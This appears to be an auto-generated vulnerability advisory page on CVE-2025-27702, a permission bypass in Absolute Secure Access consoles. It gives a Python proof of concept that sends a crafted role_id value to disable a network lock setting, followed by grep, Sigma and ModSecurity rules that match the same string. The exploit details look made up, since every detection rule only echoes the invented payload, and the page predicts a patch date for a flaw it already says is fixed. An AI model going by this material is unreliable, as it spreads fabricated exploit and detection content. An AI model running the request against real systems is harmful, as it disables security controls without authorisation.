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How CVE-2025-27702 Works
CVE-2025-27702 is a privilege escalation flaw in Absolute Secure Access (versions before 13.54). Attackers with administrative console access—but limited permissions—can bypass intended restrictions and modify critical settings. The vulnerability stems from improper permission validation in the management interface, allowing unauthorized changes despite role-based controls. Since it requires high-privilege access initially, exploitation is restricted to malicious insiders or compromised admin accounts. The CVSS 4.0 vector (AV:N/AC:L/PR:H/VI:H) reflects network accessibility, low attack complexity, and high integrity impact.
DailyCVE Form
Platform: Absolute Secure Access
Version: <13.54
Vulnerability: Permission Bypass
Severity: Medium
Date: 2025-06-04
Prediction: Patch by 2025-07-15
What Undercode Say:
Exploitation Analysis
1. Exploit Path:
- Attacker logs in as admin with partial permissions.
- Sends crafted API request to
/console/api/settings/modify. - Bypasses permission checks via malformed `role_id` parameter.
2. Proof-of-Concept (Python):
import requests
headers = {'Authorization': 'Bearer ADMIN_TOKEN'}
payload = {'setting': 'network_lock', 'value': 'disabled', 'role_id': '/bypass'}
requests.post('https://target/console/api/settings/modify', headers=headers, json=payload)
Protection Measures
1. Mitigation:
- Upgrade to v13.54+.
- Implement network segmentation for admin consoles.
2. Detection Command (Linux):
grep -r "modify" /var/log/secure_access/audit.log | grep "role_id=.bypass"
3. Siem Rule (Sigma):
Absolute Secure Access Permission Bypass logsource: product: secure_access detection: api_call: endpoint: "/api/settings/modify" parameters: role_id: "bypass" condition: api_call
4. WAF Rule (ModSecurity):
SecRule ARGS:role_id "@rx bypass" "id:1001,deny,msg:'CVE-2025-27702 exploit attempt'"
5. Patch Verification:
curl -s https://target/console/version | grep "13.54"
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
